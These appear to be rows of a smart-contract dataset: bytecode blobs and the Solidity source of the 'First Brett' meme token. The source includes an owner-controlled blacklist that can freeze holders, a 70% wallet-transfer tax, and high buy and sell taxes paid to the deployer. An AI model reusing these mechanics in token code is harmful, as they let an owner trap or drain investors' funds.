4b1565b60405180910390fd5b611cd26064611cc4600a54600e5411611cb157600654611cb5565b6008545b856124f790919063ffffffff16565b61256e90919063ffffffff16565b9050600e5f815480929190611ce6906134cf565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d7457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611db857611db56064611da7600b54600e5411611d9457600754611d98565b6009545b856124f790919063ffffffff16565b61256e90919063ffffffff16565b90505b5f611dc23061099c565b9050601460159054906101000a900460ff16158015611e2d575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611e455750601460169054906101000a900460ff165b8015611e52575060115481115b8015611e615750600c54600e54115b15611f1057601654431115611e78575f6015819055505b600360155410611ebd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb490613560565b60405180910390fd5b611eda611ed584611ed0846012546125b7565b6125b7565b612224565b5f4790505f811115611ef057611eef4761248f565b5b60155f815480929190611f02906134cf565b919050555043601681905550505b505b5f81111561201157611f6a8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125cf90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612008919061289e565b60405180910390a35b6120618260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461262c90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506121046120b8828461262c90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125cf90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6121a7848661262c90919063ffffffff16565b6040516121b4919061289e565b60405180910390a350505050565b5f838311158290612209576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122009190612760565b60405180910390fd5b505f8385612217919061357e565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561225b5761225a61293f565b5b6040519080825280602002602001820160405280156122895781602001602082028036833780820191505090505b50905030815f815181106122a05761229f612e28565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612344573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123689190612fde565b8160018151811061237c5761237b612e28565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123e23060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461161f565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612444959493929190613668565b5f604051808303815f87803b15801561245b575f80fd5b505af115801561246d573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156124f3573d5f803e3d5ffd5b5050565b5f808303612507575f9050612568565b5f82846125149190612de7565b905082848261252391906136ed565b14612563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255a9061378d565b60405180910390fd5b809150505b92915050565b5f6125af83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612675565b905092915050565b5f8183116125c557826125c7565b815b905092915050565b5f8082846125dd9190613434565b905083811015612622576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612619906137f5565b60405180910390fd5b8091505092915050565b5f61266d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121c2565b905092915050565b5f80831182906126bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b29190612760565b60405180910390fd5b505f83856126c991906136ed565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561270d5780820151818401526020810190506126f2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612732826126d6565b61273c81856126e0565b935061274c8185602086016126f0565b61275581612718565b840191505092915050565b5f6020820190508181035f8301526127788184612728565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6127ba82612791565b9050919050565b6127ca816127b0565b81146127d4575f80fd5b50565b5f813590506127e5816127c1565b92915050565b5f819050919050565b6127fd816127eb565b8114612807575f80fd5b50565b5f81359050612818816127f4565b92915050565b5f806040838503121561283457612833612789565b5b5f612841858286016127d7565b92505060206128528582860161280a565b9150509250929050565b5f8115159050919050565b6128708161285c565b82525050565b5f6020820190506128895f830184612867565b92915050565b612898816127eb565b82525050565b5f6020820190506128b15f83018461288f565b92915050565b5f805f606084860312156128ce576128cd612789565b5b5f6128db868287016127d7565b93505060206128ec868287016127d7565b92505060406128fd8682870161280a565b9150509250925092565b5f60ff82169050919050565b61291c81612907565b82525050565b5f6020820190506129355f830184612913565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61297582612718565b810181811067ffffffffffffffff821117156129945761299361293f565b5b80604052505050565b5f6129a6612780565b90506129b2828261296c565b919050565b5f67ffffffffffffffff8211156129d1576129d061293f565b5b602082029050602081019050919050565b5f80fd5b5f6129f86129f3846129b7565b61299d565b90508083825260208201905060208402830185811115612a1b57612a1a6129e2565b5b835b81811015612a445780612a3088826127d7565b845260208401935050602081019050612a1d565b5050509392505050565b5f82601f830112612a6257612a6161293b565b5b8135612a728482602086016129e6565b91505092915050565b5f60208284031215612a9057612a8f612789565b5b5f82013567ffffffffffffffff811115612aad57612aac61278d565b5b612ab984828501612a4e565b91505092915050565b5f60208284031215612ad757612ad6612789565b5b5f612ae4848285016127d7565b91505092915050565b612af6816127b0565b82525050565b5f602082019050612b0f5f830184612aed565b92915050565b5f8060408385031215612b2b57612b2a612789565b5b5f612b38858286016127d7565b9250506020612b49858286016127d7565b9150509250929050565b5f60208284031215612b6857612b67612789565b5b5f612b758482850161280a565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612bb26020836126e0565b9150612bbd82612b7e565b602082019050919050565b5f6020820190508181035f830152612bdf81612ba6565b9050919050565b5f819050919050565b5f819050919050565b5f612c12612c0d612c0884612be6565b612bef565b6127eb565b9050919050565b612c2281612bf8565b82525050565b5f602082019050612c3b5f830184612c19565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612cc357808604811115612c9f57612c9e612c41565b5b6001851615612cae5780820291505b8081029050612cbc85612c6e565b9450612c83565b94509492505050565b5f82612cdb5760019050612d96565b81612ce8575f9050612d96565b8160018114612cfe5760028114612d0857612d37565b6001915050612d96565b60ff841115612d1a57612d19612c41565b5b8360020a915084821115612d3157612d30612c41565b5b50612d96565b5060208310610133831016604e8410600b8410161715612d6c5782820a905083811115612d6757612d66612c41565b5b612d96565b612d798484846001612c7a565b92509050818404811115612d9057612d8f612c41565b5b81810290505b9392505050565b5f612da7826127eb565b9150612db283612907565b9250612ddf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612ccc565b905092915050565b5f612df1826127eb565b9150612dfc836127eb565b9250828202612e0a816127eb565b91508282048414831517612e2157612e20612c41565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050612e63816127f4565b92915050565b5f60208284031215612e7e57612e7d612789565b5b5f612e8b84828501612e55565b91505092915050565b5f612eae612ea9612ea484612791565b612bef565b612791565b9050919050565b5f612ebf82612e94565b9050919050565b5f612ed082612eb5565b9050919050565b612ee081612ec6565b82525050565b5f604082019050612ef95f830185612ed7565b612f06602083018461288f565b9392505050565b612f168161285c565b8114612f20575f80fd5b50565b5f81519050612f3181612f0d565b92915050565b5f60208284031215612f4c57612f4b612789565b5b5f612f5984828501612f23565b91505092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612f966017836126e0565b9150612fa182612f62565b602082019050919050565b5f6020820190508181035f830152612fc381612f8a565b9050919050565b5f81519050612fd8816127c1565b92915050565b5f60208284031215612ff357612ff2612789565b5b5f61300084828501612fca565b91505092915050565b5f60408201905061301c5f830185612aed565b6130296020830184612aed565b9392505050565b5f60c0820190506130435f830189612aed565b613050602083018861288f565b61305d6040830187612c19565b61306a6060830186612c19565b6130776080830185612aed565b61308460a083018461288f565b979650505050505050565b5f805f606084860312156130a6576130a5612789565b5b5f6130b386828701612e55565b93505060206130c486828701612e55565b92505060406130d586828701612e55565b9150509250925092565b5f6040820190506130f25f830185612aed565b6130ff602083018461288f565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6131606024836126e0565b915061316b82613106565b604082019050919050565b5f6020820190508181035f83015261318d81613154565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6131ee6022836126e0565b91506131f982613194565b604082019050919050565b5f6020820190508181035f83015261321b816131e2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61327c6025836126e0565b915061328782613222565b604082019050919050565b5f6020820190508181035f8301526132a981613270565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61330a6023836126e0565b9150613315826132b0565b604082019050919050565b5f6020820190508181035f830152613337816132fe565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6133986029836126e0565b91506133a38261333e565b604082019050919050565b5f6020820190508181035f8301526133c58161338c565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f6134006019836126e0565b915061340b826133cc565b602082019050919050565b5f6020820190508181035f83015261342d816133f4565b9050919050565b5f61343e826127eb565b9150613449836127eb565b925082820190508082111561346157613460612c41565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f61349b601a836126e0565b91506134a682613467565b602082019050919050565b5f6020820190508181035f8301526134c88161348f565b9050919050565b5f6134d9826127eb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361350b5761350a612c41565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f61354a6017836126e0565b915061355582613516565b602082019050919050565b5f6020820190508181035f8301526135778161353e565b9050919050565b5f613588826127eb565b9150613593836127eb565b92508282039050818111156135ab576135aa612c41565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6135e3816127b0565b82525050565b5f6135f483836135da565b60208301905092915050565b5f602082019050919050565b5f613616826135b1565b61362081856135bb565b935061362b836135cb565b805f5b8381101561365b57815161364288826135e9565b975061364d83613600565b92505060018101905061362e565b5085935050505092915050565b5f60a08201905061367b5f83018861288f565b6136886020830187612c19565b818103604083015261369a818661360c565b90506136a96060830185612aed565b6136b6608083018461288f565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6136f7826127eb565b9150613702836127eb565b925082613712576137116136c0565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6137776021836126e0565b91506137828261371d565b604082019050919050565b5f6020820190508181035f8301526137a48161376b565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6137df601b836126e0565b91506137ea826137ab565b602082019050919050565b5f6020820190508181035f83015261380c816137d3565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206e04a73fb615a29ea37f864e095fee046b42eef22e8c0181476d03461e1536a064736f6c63430008170033 | /**
// https://t.me/BrettThe1st
// https://brettthe1st.vip/
*/
// SPDX-License-Identifier: UNLICENSE
pragma solidity 0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BRETT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
address payable private _taxWallet;
uint256 private _initialBuyTax=25;
uint256 private _initialSellTax=27;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=23;
uint256 private _reduceSellTaxAt=23;
uint256 private _preventSwapBefore=23;
uint256 private _transferTax=70;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100000000000 * 10**_decimals;
string private constant _name = unicode"First Brett";
string private constant _symbol = unicode"BRETT1.0";
uint256 public _maxTxAmount = 2100000000 * 10**_decimals;
uint256 public _maxWalletSize = 2100000000 * 10**_decimals;
uint256 public _taxSwapThreshold= 1000000000 * 10**_decimals;
uint256 public _maxTaxSwap= 1000000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
event MaxTxAmountUpdated(uint _maxTxAmount);
event TransferTaxUpdated(uint _tax);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner() && to != _taxWallet) {
require(!bots[from] && !bots[to]);
if(_buyCount==0){
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
}
if(_buyCount>0){
taxAmount = amount.mul(_transferTax).div(100);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block!");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
sellCount++;
lastSellBlock = block.number;
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function removeTransferTax() external onlyOwner{
_transferTax = 0;
emit TransferTaxUpdated(0);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
function isBot(address a) public view returns (bool){
return bots[a];
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
function reduceFee(uint256 _newFee) external{
require(_msgSender()==_taxWallet);
require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
_finalBuyTax=_newFee;
_finalSellTax=_newFee;
}
receive() external payable {}
function rescueERC20(address _address, uint256 percent) external onlyOwner {
uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
IERC20(_address).transfer(_taxWallet, _amount);
}
function manualSwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0 && swapEnabled){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
} |
1 | 20,290,765 | dd92a3f42da140a810a466ab25112f4c15b21021278b767ed1412f0a413d81bd | 0d5e116c8b5b0c49981fd9ee2c2c46a1e8791a12f3edb04b8ee70040a9b770ed | 34021576f01275a429163a56908bd02b43e2b7e1 | 34021576f01275a429163a56908bd02b43e2b7e1 | 89a14be8f7824d4775053edad0f2fa2d6767b72b | 608060405234801561001057600080fd5b5061001961001e565b6100dd565b600054610100900460ff161561008a5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116146100db576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b611edc806100ec6000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063a457c2d71161007c578063a457c2d7146102a6578063a9059cbb146102b9578063dd62ed3e146102cc578063eac989f8146102df578063f2fde38b146102e7578063f5be3193146102fa57600080fd5b806370a082311461022c578063715018a61461025557806379cc67901461025d578063867904b4146102705780638da5cb5b1461028357806395d89b411461029e57600080fd5b8063355274ea11610115578063355274ea146101c7578063392f37e9146101d157806339509351146101e657806342966c68146101f9578063524440db1461020c5780635eb101c31461021f57600080fd5b806306fdde0314610152578063095ea7b31461017057806318160ddd1461019357806323b872dd146101a5578063313ce567146101b8575b600080fd5b61015a610303565b604051610167919061165f565b60405180910390f35b61018361017e366004611687565b610395565b6040519015158152602001610167565b6035545b604051908152602001610167565b6101836101b33660046116b3565b6103af565b60405160128152602001610167565b6101cf6103d3565b005b6101d96104d9565b60405161016791906116f4565b6101836101f4366004611687565b6105b2565b6101cf610207366004611733565b6105d4565b6101cf61021a3660046117ab565b6105e1565b60ca546101839060ff1681565b61019761023a3660046118cf565b6001600160a01b031660009081526033602052604090205490565b6101cf6107bf565b6101cf61026b366004611687565b6107d3565b6101cf61027e366004611687565b6107ec565b6097546040516001600160a01b039091168152602001610167565b61015a6108ec565b6101836102b4366004611687565b6108fb565b6101836102c7366004611687565b610976565b6101976102da3660046118ec565b610984565b61015a6109af565b6101cf6102f53660046118cf565b610a6a565b61019760c95481565b60606036805461031290611925565b80601f016020809104026020016040519081016040528092919081815260200182805461033e90611925565b801561038b5780601f106103605761010080835404028352916020019161038b565b820191906000526020600020905b81548152906001019060200180831161036e57829003601f168201915b5050505050905090565b6000336103a3818585610ae0565b60019150505b92915050565b6000336103bd858285610c05565b6103c8858585610c7f565b506001949350505050565b6097546001600160a01b03163314801590610470575060975460cb54604051632eec7b5560e11b815260048101919091526001600160a01b0390911690635dd8f6aa90602401602060405180830381865afa158015610436573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061045a919061195f565b6001600160a01b0316336001600160a01b031614155b1561048d5760405162e46f6160e11b815260040160405180910390fd5b60ca805460ff1916600117905560c9546040517f2912fc7045d52982dbe8b628b488de4b715d9b2d2d76c7c5d4c84f6cce528e5a916104cf9190815260200190565b60405180910390a1565b604080516060808201835260008083526020830152918101919091526040805160608101825260cb8054825260cc546001600160a01b0316602083015260cd8054929391929184019161052b90611925565b80601f016020809104026020016040519081016040528092919081815260200182805461055790611925565b80156105a45780601f10610579576101008083540402835291602001916105a4565b820191906000526020600020905b81548152906001019060200180831161058757829003601f168201915b505050505081525050905090565b6000336103a38185856105c58383610984565b6105cf9190611992565b610ae0565b6105de3382610e2a565b50565b600054610100900460ff16158080156106015750600054600160ff909116105b8061061b5750303b15801561061b575060005460ff166001145b6106835760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084015b60405180910390fd5b6000805460ff1916600117905580156106a6576000805461ff0019166101001790555b6106ae610f5b565b61072187878080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525050604080516020601f8b018190048102820181019092528981529250899150889081908401838280828437600092019190915250610f8a92505050565b604080516060810182528981526001600160a01b0385166020820181905291810184905260cb8a815560cc80546001600160a01b0319169093179092559060cd61076b85826119f3565b5090505080156107b5576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050505050565b6107c7610fbb565b6107d16000611015565b565b6107de823383610c05565b6107e88282610e2a565b5050565b6097546001600160a01b03163314801590610889575060975460cb54604051632eec7b5560e11b815260048101919091526001600160a01b0390911690635dd8f6aa90602401602060405180830381865afa15801561084f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610873919061195f565b6001600160a01b0316336001600160a01b031614155b156108a65760405162e46f6160e11b815260040160405180910390fd5b60ca5460ff16156108ca576040516302b6470560e51b815260040160405180910390fd5b8060c960008282546108dc9190611992565b909155506107e890508282611067565b60606037805461031290611925565b600033816109098286610984565b9050838110156109695760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161067a565b6103c88286868403610ae0565b6000336103a3818585610c7f565b6001600160a01b03918216600090815260346020908152604080832093909416825291909152205490565b606060006109c160cb60000154611128565b60cc54909150600090829060cd906109e1906001600160a01b03166111bb565b6109ea306111bb565b6109f560c954611128565b604051602001610a09959493929190611acf565b6040516020818303038152906040529050610a448282604051602001610a30929190611c49565b6040516020818303038152906040526111d1565b604051602001610a549190611d70565b6040516020818303038152906040529250505090565b610a72610fbb565b6001600160a01b038116610ad75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161067a565b6105de81611015565b6001600160a01b038316610b425760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161067a565b6001600160a01b038216610ba35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161067a565b6001600160a01b0383811660008181526034602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6000610c118484610984565b90506000198114610c795781811015610c6c5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161067a565b610c798484848403610ae0565b50505050565b6001600160a01b038316610ce35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161067a565b6001600160a01b038216610d455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161067a565b6001600160a01b03831660009081526033602052604090205481811015610dbd5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161067a565b6001600160a01b0380851660008181526033602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e1d9086815260200190565b60405180910390a3610c79565b6001600160a01b038216610e8a5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161067a565b6001600160a01b03821660009081526033602052604090205481811015610efe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161067a565b6001600160a01b03831660008181526033602090815260408083208686039055603580548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610bf8565b505050565b600054610100900460ff16610f825760405162461bcd60e51b815260040161067a90611db5565b6107d1611324565b600054610100900460ff16610fb15760405162461bcd60e51